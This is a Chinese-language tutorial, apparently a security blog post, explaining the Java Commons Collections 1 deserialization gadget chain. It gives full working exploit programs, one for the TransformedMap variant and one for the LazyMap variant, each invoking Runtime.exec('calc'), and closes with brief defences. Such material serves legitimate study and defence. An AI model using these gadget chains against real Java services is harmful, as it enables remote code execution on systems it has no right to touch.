Java反序列化——CC1
字数 1553 2025-08-11 08:36:02
Java反序列化漏洞分析:Commons Collections 1 (CC1) 链详解
1. Commons Collections 简介
Apache Commons Collections 是Apache软件基金会的项目,旨在提供可重用的、解决各种实际通用问题的开源Java代码。主要组成部分:
- Proper:已发布的项目
- Sandbox:正在开发的项目
- Dormant:刚启动或已停止维护的项目
1.1 包结构
org.apache.commons.collections - 自定义公用的接口和工具类
org.apache.commons.collections.bag - 实现Bag接口的类
org.apache.commons.collections.bidimap - 实现BidiMap接口的类
org.apache.commons.collections.buffer - 实现Buffer接口的类
org.apache.commons.collections.collection - 实现java.util.Collection接口的类
org.apache.commons.collections.comparators - 实现java.util.Comparator接口的类
org.apache.commons.collections.functors - 自定义功能类
org.apache.commons.collections.iterators - 实现java.util.Iterator接口的类
org.apache.commons.collections.keyvalue - 键/值映射相关类
org.apache.commons.collections.list - 实现java.util.List接口的类
org.apache.commons.collections.map - 实现Map接口的类
org.apache.commons.collections.set - 实现Set接口的类
2. 环境配置
- 下载并安装 jdk8u65
- 创建IDEA Maven项目,使用jdk8u65
- 添加Maven依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
- 导入sun包源码:
- 下载openJDK 8u65的zip文件
- 解压jdk8u65的src.zip
- 将openJDK中的sun文件夹拷贝到jdk8u65的src目录中
3. TransformMap版CC1链分析
3.1 攻击链思路
反序列化攻击思路:
- 入口类需要
readObject方法 - 结尾需要一个能够命令执行的方法
- 中间通过链式调用连接
流程图:尾部(exec) → 中间链 → 头部(readObject)
3.2 寻找命令执行点
在InvokerTransformer类中找到反射调用任意类的方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
构造命令执行示例:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(runtime);
3.3 构建调用链
-
寻找transform调用点:
TransformedMap.checkSetValue()调用了transform()TransformedMap构造方法是protected,通过decorate()静态方法创建对象
-
寻找setValue调用点:
AbstractInputCheckedMapDecorator.setValue()调用了checkSetValue- 遍历
TransformedMap时会调用setValue
-
寻找readObject入口:
- 在
AnnotationInvocationHandler中找到符合要求的readObject方法
- 在
3.4 解决关键问题
- Runtime序列化问题:
- Runtime不可序列化,但
Runtime.class可以 - 使用反射获取Runtime:
- Runtime不可序列化,但
Method getRuntimeMethod = (Method) new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
).transform(getRuntimeMethod);
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
).transform(r);
- 使用ChainedTransformer优化:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- 满足if条件:
- 使用
Target类,设置key="value"
- 使用
3.5 完整利用链
InvokerTransformer#transform
↓
TransformedMap#checkSetValue
↓
AbstractInputCheckedMapDecorator#setValue
↓
AnnotationInvocationHandler#readObject
辅助工具类:
ConstantTransformerChainedTransformerHashMap
3.6 完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1_TransformMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annocationInvocationHandler.setAccessible(true);
Object o = annocationInvocationHandler.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
4. LazyMap版CC1链分析
ysoserial工具中使用的是LazyMap构造的链子,与TransformMap版的主要区别在于:
- 使用
LazyMap.decorate()代替TransformedMap.decorate() - 增加了动态代理部分
4.1 完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annocationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annocationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annocationInvocationHandler.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
h
);
Object o = annocationInvocationHandler.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
5. 防御措施
- 升级Commons Collections到最新版本
- 使用Java安全管理器限制反序列化
- 使用白名单机制控制可反序列化的类
- 使用JDK9+的模块化系统限制sun包的访问
6. 总结
CC1反序列化漏洞利用的关键点:
- 利用
InvokerTransformer的反射机制执行任意命令 - 通过
TransformedMap或LazyMap触发transform调用 - 利用
AnnotationInvocationHandler的readObject方法作为入口 - 使用
ChainedTransformer将多个transform操作串联 - 使用
ConstantTransformer解决Runtime序列化问题
理解CC1链需要掌握Java反射、集合框架、动态代理和序列化机制等核心知识。